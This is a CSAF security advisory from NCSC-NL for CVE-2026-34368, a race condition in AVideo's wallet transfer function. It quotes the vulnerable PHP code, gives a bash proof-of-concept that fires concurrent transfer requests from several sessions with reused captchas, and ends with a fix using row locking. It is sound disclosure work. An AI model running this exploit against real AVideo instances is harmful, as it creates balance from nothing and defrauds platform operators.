{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-34368",
        "tracking": {
            "current_release_date": "2026-03-31T17:25:43.255268Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-34368",
            "initial_release_date": "2026-03-27T19:47:57.453568Z",
            "revision_history": [
                {
                    "date": "2026-03-27T19:47:57.453568Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-27T19:48:03.185917Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-27T19:48:39.977372Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-27T19:48:41.661615Z",
                    "number": "4",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-29T00:38:16.602667Z",
                    "number": "5",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-29T00:38:25.019800Z",
                    "number": "6",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-30T19:15:11.399014Z",
                    "number": "7",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (4).| CWES updated (1)."
                },
                {
                    "date": "2026-03-30T19:15:32.683375Z",
                    "number": "8",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-30T19:39:00.098316Z",
                    "number": "9",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-03-31T17:25:10.440139Z",
                    "number": "10",
                    "summary": "Products connected (1).| Product Identifiers created (1).| Exploits created (1)."
                },
                {
                    "date": "2026-03-31T17:25:12.934064Z",
                    "number": "11",
                    "summary": "NCSC Score updated."
                }
            ],
            "status": "interim",
            "version": "11"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<=26.0",
                                "product": {
                                    "name": "vers:unknown/<=26.0",
                                    "product_id": "CSAFPID-5893889",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "AVideo"
                    }
                ],
                "category": "vendor",
                "name": "WWBN"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-34368",
            "cwe": {
                "id": "CWE-362",
                "name": "Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `transferBalance()` method in `plugin/YPTWallet/YPTWallet.php` contains a Time-of-Check-Time-of-Use (TOCTOU) race condition. The method reads the sender's wallet balance, checks sufficiency in PHP, then writes the new balance — all without database transactions or row-level locking. An attacker with multiple authenticated sessions can send concurrent transfer requests that all read the same stale balance, each passing the balance check independently, resulting in only one deduction being applied while the recipient is credited multiple times. Commit 34132ad5159784bfc7ba0d7634bb5c79b769202d contains a fix.",
                    "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-34368"
                },
                {
                    "category": "description",
                    "text": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `transferBalance()` method in `plugin/YPTWallet/YPTWallet.php` contains a Time-of-Check-Time-of-Use (TOCTOU) race condition. The method reads the sender's wallet balance, checks sufficiency in PHP, then writes the new balance — all without database transactions or row-level locking. An attacker with multiple authenticated sessions can send concurrent transfer requests that all read the same stale balance, each passing the balance check independently, resulting in only one deduction being applied while the recipient is credited multiple times. Commit 34132ad5159784bfc7ba0d7634bb5c79b769202d contains a fix.",
                    "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/34xxx/CVE-2026-34368.json"
                },
                {
                    "category": "description",
                    "text": "## Summary\n\nThe `transferBalance()` method in `plugin/YPTWallet/YPTWallet.php` contains a Time-of-Check-Time-of-Use (TOCTOU) race condition. The method reads the sender's wallet balance, checks sufficiency in PHP, then writes the new balance — all without database transactions or row-level locking. An attacker with multiple authenticated sessions can send concurrent transfer requests that all read the same stale balance, each passing the balance check independently, resulting in only one deduction being applied while the recipient is credited multiple times.\n\n## Details\n\nThe vulnerable code path in `plugin/YPTWallet/YPTWallet.php:450-517`:\n\n```php\n// Line 473-474: READ - fetch current balance (plain SELECT, no FOR UPDATE)\n$senderWallet = self::getWallet($fromUserId);\n$senderBalance = $senderWallet->getBalance();\n$senderNewBalance = $senderBalance - $amount;\n\n// Line 477: CHECK - verify sufficient funds in PHP\nif ($senderNewBalance < 0) {\n    return false;\n}\n\n// Line 486-487: WRITE - set new balance (plain UPDATE)\n$senderWallet->setBalance($senderNewBalance);\n$senderWalletId = $senderWallet->save();\n\n// Line 497-502: Credit receiver (also plain SELECT + UPDATE)\n$receiverWallet = self::getWallet($toUserId);\n$receiverBalance = $receiverWallet->getBalance();\n$receiverNewBalance = $receiverBalance + $amount;\n$receiverWallet->setBalance($receiverNewBalance);\n$receiverWalletId = $receiverWallet->save();\n```\n\nThe `getWallet()` method (`YPTWallet.php:244`) calls `Wallet::getFromUser()` (`Wallet.php:69-84`) which executes a plain `SELECT * FROM wallet WHERE users_id = $users_id` with no `FOR UPDATE` clause. The `save()` method (`Wallet.php:105`) calls `ObjectYPT::save()` (`Object.php:293`) which executes a plain `UPDATE` — no transaction wrapping.\n\n**Race window**: Between the SELECT (step 1) and UPDATE (step 3), all concurrent requests see the same original balance. Each independently computes `original - amount`, passes the check, and writes back. The last writer wins for the sender (only one deduction effective), but the receiver gets credited once per request.\n\n**Why concurrent requests succeed**: PHP's file-based session locking serializes requests per session. However, an attacker can create multiple login sessions (different PHPSESSID cookies) for the same user account. Each session has its own lock and can execute concurrently. Each session needs its own captcha, but the captcha validation in `objects/captcha.php:58-73` compares `$_SESSION['palavra']` without unsetting it after validation, allowing unlimited reuse within each session.\n\nEntry point: `plugin/YPTWallet/view/transferFunds.json.php:39` calls `YPTWallet::transferBalance(User::getId(), $_POST['users_id'], $_POST['value'])` — requires only `User::isLogged()` and a valid captcha.\n\n## PoC\n\n```bash\n# Prerequisites: Attacker has a registered account with $10 wallet balance\n# Accomplice has a registered account (recipient)\n\nTARGET=\"https://target-avideo-instance\"\nACCOMPLICE_ID=123  # recipient user ID\n\n# Step 1: Create 5 independent sessions for the same attacker account\ndeclare -a SESSIONS\ndeclare -a CAPTCHA_ANSWERS\n\nfor i in $(seq 1 5); do\n  # Login and capture session cookie\n  COOKIE=$(curl -s -c - \"$TARGET/objects/login.json.php\" \\\n    -d 'user=attacker&pass=attackerpass' | grep PHPSESSID | awk '{print $NF}')\n  \n  # Load captcha to populate $_SESSION['palavra']\n  curl -s -b \"PHPSESSID=$COOKIE\" \"$TARGET/objects/captcha.php\" -o \"captcha_$i.png\"\n  \n  SESSIONS[$i]=$COOKIE\n  echo \"Session $i: $COOKIE — solve captcha_$i.png manually\"\ndone\n\n# Step 2: After solving captchas, fire all 5 transfer requests simultaneously\n# Each requests $10 transfer — all will read balance=$10 concurrently\nfor i in $(seq 1 5); do\n  curl -s -b \"PHPSESSID=${SESSIONS[$i]}\" \\\n    \"$TARGET/plugin/YPTWallet/view/transferFunds.json.php\" \\\n    -d \"users_id=$ACCOMPLICE_ID&value=10&captcha=${CAPTCHA_ANSWERS[$i]}\" &\ndone\nwait\n\n# Expected result:\n# - Attacker balance: $0 (last write wins, sets balance to 10-10=0)\n# - Accomplice balance: credited $10 x N successful races (up to $50)\n# - Net money created from nothing: up to $40\n```\n\n## Impact\n\nAn authenticated attacker can exploit this race condition to:\n\n- **Create wallet balance from nothing**: With a $10 balance and N concurrent requests, the recipient can receive up to $10×N while the sender only loses $10.\n- **Bypass pay-per-view charges**: Inflate wallet balance, then purchase paid content without real payment.\n- **Bypass subscription fees**: Use inflated balance to purchase subscriptions.\n- **Financial integrity compromise**: The wallet ledger becomes inconsistent — total balances across all users no longer match total deposits.\n\nThe attack requires solving one captcha per session (captchas are reusable within a session), creating multiple login sessions, and timing concurrent requests — achievable with basic scripting.\n\n## Recommended Fix\n\nReplace the read-check-write pattern with an atomic database operation using a transaction and row-level locking:\n\n```php\npublic static function transferBalance($fromUserId, $toUserId, $amount, $customDescription = \"\", $forceTransfer = false)\n{\n    global $global;\n    \n    // ... existing auth and validation checks ...\n    \n    $amount = floatval($amount);\n    if ($amount <= 0) {\n        return false;\n    }\n\n    // Use a database transaction with row-level locking\n    $global['mysqli']->autocommit(false);\n    $global['mysqli']->begin_transaction();\n    \n    try {\n        // Lock sender row and read balance atomically\n        $sql = \"SELECT id, balance FROM wallet WHERE users_id = ? FOR UPDATE\";\n        $stmt = $global['mysqli']->prepare($sql);\n        $stmt->bind_param(\"i\", $fromUserId);\n        $stmt->execute();\n        $result = $stmt->get_result();\n        $senderRow = $result->fetch_assoc();\n        $stmt->close();\n        \n        if (empty($senderRow)) {\n            $global['mysqli']->rollback();\n            return false;\n        }\n        \n        $senderBalance = floatval($senderRow['balance']);\n        $senderNewBalance = $senderBalance - $amount;\n        \n        if ($senderNewBalance < 0) {\n            $global['mysqli']->rollback();\n            return false;\n        }\n        \n        // Atomic deduction\n        $sql = \"UPDATE wallet SET balance = ? WHERE id = ? AND balance >= ?\";\n        $stmt = $global['mysqli']->prepare($sql);\n        $stmt->bind_param(\"did\", $senderNewBalance, $senderRow['id'], $amount);\n        $stmt->execute();\n        \n        if ($stmt->affected_rows === 0) {\n            $global['mysqli']->rollback();\n            $stmt->close();\n            return false;\n        }\n        $stmt->close();\n        \n        // Credit receiver (also locked)\n        $sql = \"SELECT id, balance FROM wallet WHERE users_id = ? FOR UPDATE\";\n        $stmt = $global['mysqli']->prepare($sql);\n        $stmt->bind_param(\"i\", $toUserId);\n        $stmt->execute();\n        $result = $stmt->get_result();\n        $receiverRow = $result->fetch_assoc();\n        $stmt->close();\n        \n        $receiverNewBalance = floatval($receiverRow['balance']) + $amount;\n        $sql = \"UPDATE wallet SET balance = ? WHERE id = ?\";\n        $stmt = $global['mysqli']->prepare($sql);\n        $stmt->bind_param(\"di\", $receiverNewBalance, $receiverRow['id']);\n        $stmt->execute();\n        $stmt->close();\n        \n        $global['mysqli']->commit();\n        \n        // ... log entries ...\n        \n    } catch (Exception $e) {\n        $global['mysqli']->rollback();\n        return false;\n    } finally {\n        $global['mysqli']->autocommit(true);\n    }\n}\n```\n\nAdditionally, fix the captcha reuse issue in `objects/captcha.php:58-73` by unsetting `$_SESSION['palavra']` after successful validation:\n\n```php\npublic static function validation($word)\n{\n    // ... existing checks ...\n    $validation = (strcasecmp($word, $_SESSION[\"palavra\"]) == 0);\n    if ($validation) {\n        unset($_SESSION[\"palavra\"]); // Consume the captcha token\n    }\n    return $validation;\n}\n```",
                    "title": "github - https://api.github.com/advisories/GHSA-h54m-c522-h6qr"
                },
                {
                    "category": "other",
                    "text": "0.00026",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "3.8",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "There is exploit data available from source Nvd, Is related to (a version of) an uncommon product, The value of the most recent EPSS score",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5893889"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-34368"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/34xxx/CVE-2026-34368.json"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-h54m-c522-h6qr"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd",
                    "url": "https://github.com/WWBN/AVideo/commit/34132ad5159784bfc7ba0d7634bb5c79b769202d"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd",
                    "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-h54m-c522-h6qr"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34368"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-h54m-c522-h6qr"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N",
                        "baseScore": 5.3,
                        "baseSeverity": "MEDIUM"
                    },
                    "products": [
                        "CSAFPID-5893889"
                    ]
                }
            ],
            "title": "CVE-2026-34368"
        }
    ]
}